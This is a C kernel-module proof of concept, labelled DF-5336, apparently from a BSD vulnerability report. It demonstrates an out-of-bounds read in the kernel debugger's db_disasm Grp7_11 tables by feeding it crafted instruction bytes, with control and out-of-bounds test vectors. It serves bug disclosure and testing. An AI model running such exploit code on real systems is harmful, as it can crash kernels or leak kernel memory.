DF-5336 / df5336_oob.c
/* * DF-5336 PoC — db_Grp7_11 sub-table inner-index OOB read. * * sys/cpu/x86_64/misc/db_disasm.c:1275 does: * i_name = db_Grp7_11[f_reg(rex, regmodrm)][regmodrm & 0x7]; * when (regmodrm & 0xC0) == 0xC0 (mod==3). The outer index is the known * DF-1032/DF-2360 issue. The INNER index (rm field, 0..7) is unbounded but * the sub-tables have only 5 (_000), 4 (_001), 7 (_010) and 2 (_111) * entries -> OOB read of a `const char *' from adjacent kernel .rodata, * which is then printed with db_printf("%s") (db_disasm.c:1303). * NO REX prefix is required. * * This KLD feeds crafted byte sequences straight to the in-kernel * db_disasm() and prints the result. Control vectors exercise in-bounds * entries; OOB vectors exercise rm values past each sub-table's length. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <ddb/ddb.h> struct tvec { const char *desc; unsigned char bytes[4]; int len; int oob; }; static struct tvec tv[] = { /* ---- controls: in-bounds inner index ---- */ { "CTRL reg=0 rm=4 (vmxoff, _000[4] last ok)", {0x0f,0x01,0xc4}, 3, 0 }, { "CTRL reg=1 rm=0 (monitor, _001[0])", {0x0f,0x01,0xc8}, 3, 0 }, { "CTRL reg=2 rm=6 (xtest, _010[6] last ok)", {0x0f,0x01,0xd6}, 3, 0 }, { "CTRL reg=5 rm=0 (swapgs, _111[0])", {0x0f,0x01,0xe8}, 3, 0 }, { "CTRL reg=5 rm=1 (rdtscp, _111[1] last ok)", {0x0f,0x01,0xe9}, 3, 0 }, /* ---- OOB: rm past each sub-table's length, no REX ---- */ { "OOB reg=0 rm=5 (_000[5], table len 5)", {0x0f,0x01,0xc5}, 3, 1 }, { "OOB reg=0 rm=7 (_000[7], table len 5)", {0x0f,0x01,0xc7}, 3, 1 }, { "OOB reg=1 rm=4 (_001[4], table len 4)", {0x0f,0x01,0xcc}, 3, 1 }, { "OOB reg=2 rm=7 (_010[7], table len 7)", {0x0f,0x01,0xd7}, 3, 1 }, { "OOB reg=5 rm=2 (_111[2], table len 2)", {0x0f,0x01,0xea}, 3, 1 }, { "OOB reg=5 rm=7 (_111[7], table len 2)", {0x0f,0x01,0xef}, 3, 1 }, }; static int df5336_modevent(module_t mod, int type, void *arg) { int i; switch (type) { case MOD_LOAD: kprintf("DF5336: begin db_disasm Grp7_11 inner-index test\n"); for (i = 0; i < (int)(sizeof(tv)/sizeof(tv[0])); i++) { unsigned char buf[16]; memcpy(buf, tv[i].bytes, tv[i].len); kprintf("DF5336 %-45s bytes %02x %02x %02x -> ", tv[i].desc, buf[0], buf[1], buf[2]); db_disasm((db_addr_t)buf, FALSE, NULL); } kprintf("DF5336: end test\n"); return (0); case MOD_UNLOAD: return (0); } return (EOPNOTSUPP); } static moduledata_t df5336_mod = { "df5336_oob", df5336_modevent, NULL }; DECLARE_MODULE(df5336_oob, df5336_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |